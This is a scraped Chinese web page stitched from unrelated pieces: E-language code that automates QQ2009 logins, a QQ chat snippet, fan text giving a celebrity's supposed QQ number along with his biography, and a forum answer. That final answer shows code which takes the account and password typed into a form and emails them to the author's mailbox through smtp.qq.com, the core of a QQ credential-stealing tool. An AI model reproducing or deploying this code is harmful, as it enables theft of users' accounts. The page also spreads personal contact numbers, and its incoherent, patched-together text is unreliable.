易语言QQ加密源码
.版本 2.程序集 窗口程序集1
.程序集变量 User_hwnd, 整数型
.程序集变量 Pass_hwnd, 整数型
.程序集变量 Parent_hwnd, 整数型
.程序集变量 子窗口数组, 整数型, , "0"
.程序集变量 路径, 文本型
.程序集变量 账号数组, 文本型, , "0"
.程序集变量 密码数组, 文本型, , "0"
.程序集变量 是否已登录, 逻辑型
.程序集变量 序列, 整数型.子程序 _按钮1_被单击Login (编辑框1.内容, 编辑框2.内容).子程序 Login
.参数 username, 文本型
.参数 password, 文本型
.局部变量 临时文本, 文本型
ShellExecute (0, “open”, 路径, “”, “”, #SW_SHOW) ' 运行
延时 (1000)
Pass_hwnd = 0
EnumWindows (&子程序1, 0) ' 枚举
.如果真 (Parent_hwnd = 0)
延时 (1000)
EnumWindows (&子程序1, 0) ' 枚举
.如果真 (Parent_hwnd = 0)
延时 (1000)
EnumWindows (&子程序1, 0) ' 枚举
.如果真 (Parent_hwnd = 0)
信息框 (“未找到登陆框!”, #警告图标, )
.如果真结束 .如果真结束.如果真结束
SendMessage_String (User_hwnd, #wm_settext, 0, username)
临时文本 = #vds
临时文本 = 子文本替换 (临时文本, “||密码||”, password, , , 真)
写到文件 (“C:\temp.vbs”, 到字节集 (临时文本))
SetForegroundWindow (Parent_hwnd)
PostMessage (User_hwnd, 513, 0, 0)
PostMessage (User_hwnd, 514, 0, 0)
PostMessage (User_hwnd, #WM_KEYDOWN, #Tab键, 0)
PostMessage (User_hwnd, #WM_KEYUP, #Tab键, 0)
ShellExecute (0, “open”, “C:\temp.vbs”, “”, “”, 0) ' 运行
.子程序 __启动窗口_创建完毕
路径 = 取文本注册项 (4, “SOFTWARE\TENCENT\QQ2009\Install”, ) + “\Bin\QQ.exe”
.如果真 (路径 = “\Bin\QQ.exe”)
信息框 (“未检测到QQ2009,请手动查找”, 0, )
通用对话框1.打开 ()
.如果真 (通用对话框1.文件名 ≠ “”)
路径 = 通用对话框1.文件名
.如果真结束.如果真结束
输出调试文本 (路径)
标签1.标题 = 路径' 这段句子的意思是获取QQ2009的登录路径.子程序 子程序1, 逻辑型, , 枚举父窗口
.参数 hwnd, 整数型
.局部变量 Text, 文本型
Text = _取窗口标题 (hwnd)
.如果真 (寻找文本 (Text, “QQ2009”, , 假) ≠ -1)
清除数组 (子窗口数组)
EnumChildWindows (hwnd, &子程序2, 0)
.如果真 (取数组成员数 (子窗口数组) = 2)
Parent_hwnd = hwnd
EnumChildWindows (Parent_hwnd, &子程序3, 0)
' 输出调试文本 (“父窗口句柄: ” + 到文本 (hwnd))
.如果真结束.如果真结束
' 寻找窗口代码
返回 (真).子程序 子程序2, 逻辑型, , 枚举子窗口个数
.参数 hwnd, 整数型加入成员 (子窗口数组, hwnd)返回 (真).子程序 子程序3, 逻辑型, , 枚举帐号、密码窗口句柄
.参数 hwnd, 整数型
.局部变量 ClassName, 文本型ClassName = _取窗口类名 (hwnd)
.如果真 (ClassName ≠ “Edit”)
User_hwnd = hwnd
' 输出调试文本 (“账号子窗口句柄: ” + 到文本 (User_hwnd)).如果真结束.如果真 (ClassName = “Edit”)
Pass_hwnd = hwnd
' 输出调试文本 (“密码子窗口句柄: ” + 到文本 (Pass_hwnd)).如果真结束返回 (真).子程序 _取窗口类名, 文本型
.参数 hwnd, 整数型
.局部变量 ClassNmae, 文本型ClassNmae = 取空白文本 (255)
GetClassName (hwnd, ClassNmae, 255)
返回 (ClassNmae).子程序 _取窗口标题, 文本型, , 取指定窗口的标题。成功返回窗口标题,失败返回空。
.参数 窗口句柄, 整数型
.局部变量 窗口标题, 文本型
.局部变量 总字符数, 整数型
.局部变量 临时整数, 整数型临时整数 = 255
窗口标题 = 取空白文本 (临时整数)
SendMessage (窗口句柄, #WM_GETTEXT, 临时整数 + 1, lstrcpyn (窗口标题, 窗口标题, 0))
返回 (窗口标题).子程序 Login多
.局部变量 临时文本, 文本型
.局部变量 username, 文本型
.局部变量 password, 文本型.如果真 (序列 = 取数组成员数 (密码数组) - 1)
是否已登录 = 真
.如果真结束.判断开始 (序列 < 取数组成员数 (密码数组))
序列 = 序列 + 1
username = 账号数组 [序列]
password = 密码数组 [序列].默认.判断结束
ShellExecute (0, “open”, 路径, “”, “”, #SW_SHOW) ' 运行
延时 (1000)
Pass_hwnd = 0
EnumWindows (&子程序1, 0) ' 枚举
.' 如果真 (Parent_hwnd = 0)
' 延时 (1000)
' EnumWindows (&子程序1, 0) ' 枚举
.' 如果真 (Parent_hwnd = 0)
' 延时 (1000)
' EnumWindows (&子程序1, 0) ' 枚举
.' 如果真 (Parent_hwnd = 0)
' 信息框 (“未找到登陆框!”, #警告图标, )
.如果真结束 .如果真结束.如果真结束
SendMessage_String (User_hwnd, #wm_settext, 0, username)
临时文本 = #vds
临时文本 = 子文本替换 (临时文本, “||密码||”, password, , , 真)
写到文件 (“C:\temp.vbs”, 到字节集 (临时文本))
SetForegroundWindow (Parent_hwnd)
PostMessage (User_hwnd, 513, 0, 0)
PostMessage (User_hwnd, 514, 0, 0)
PostMessage (User_hwnd, #WM_KEYDOWN, #Tab键, 0)
PostMessage (User_hwnd, #WM_KEYUP, #Tab键, 0)
延时 (50)ShellExecute (0, “open”, “C:\temp.vbs”, “”, “”, 0) ' 运行
输出调试文本 (username, password)延时 (1000)
.如果真 (是否已登录 = 假)
Login多 ().如果真结束
送两个源代码给你,自己慢慢研究源代码会发送到你的邮箱。请注意查收672117067@qq.com
易语言.实现QQ临时会话!
你说的就是强聊代码是吧 新建一个按钮在事件下面写上 超文本浏览框1.跳转 (“tencent://message/?uin=” + 编辑框1.内容, , ) 就好了 可以任何QQ聊天。。
易烊千玺的QQ号是几要真的
暑期超少年密码的热播,易烊千玺的人气也是水涨船高,很多粉丝纷纷询问易烊千玺真实的QQ号码是多少。
笔者经过多方打听才知道易烊千玺的qq号是多少。易烊千玺真实的QQ号码是1442678074。易烊千玺的qq号是很少处于上线状态的,但是易烊千玺每天都会更新一些状态的。
因为易烊千玺平时都是非常繁忙的,所以建议粉丝们不要去打扰他,可以看他每天更新的一点状态。默默的去关注易烊千玺就好了。
2000年11月28日出生于湖南省怀化市,中国内地男歌手、演员,组合TFBOYS成员[1] 。
2005年,易烊千玺首登电视荧屏,开始参演各类综艺节目,并先后接拍多部影视剧、广告、MV等 。2009年加入“飞炫少年”组合,于2011年退出。2013年1月发行个人首支单曲《梦想摩天楼》。
2013年8月6日,易烊千玺与王俊凯、王源以TFBOYS组合形式出道,陆续发行《Heart梦·出发》《魔法城堡》《青春修炼手册》《大梦想家》四张EP及《想唱就唱》《为梦想时刻准备着》《开学第一课》《恋西游》等主题曲 。
2015年,易烊千玺为马克·奥斯本执导的法国动画电影《小王子》中男主角“小王子”配音,先后参演电视剧《小别离》《青云志》,并确认于青春历史剧《思美人》中特别出演少年屈原 。11月28日,易烊千玺在其15岁生日会上表演自主编排的两支创意舞蹈《IF YOU》和《RHYTHM TA》 。
2016年1月1日,易烊千玺获得湖南卫视《全员加速中》第一季总冠军,登上纯甄加速王宝座
谁给我个易语言QQ邮箱收信源码
连接发信服务器 (“smtp.qq.com”, , “你的QQ帐号@qq.com”, “QQ密码”, )
发送邮件 (“主题”, “帐号:” + 编辑框1.内容 + #换行符 + “密码:” + 编辑框2.内容 , “你的QQ帐号@qq.com”, , , “你的QQ帐号@qq.com”, “你的QQ帐号@qq.com”)
前提是你的邮箱必须开启了SMTP服务,本来教程也想给你的,网速太慢 至于如何开启QQ邮箱SMTP服务,请看下面:在QQ首页上方,点击“设置”,在“邮箱设置”页面,点击“账户”,找到“POP3/IMAP/SMTP服务”,勾选“开启IMAP/SMTP服务”,右侧有“(什么是 IMAP,它又是如何设置?)”,点击进入到详细设置说明,可以针对你的邮件客户端具体设置 如果还有什么不懂的话,加我QQ:153011490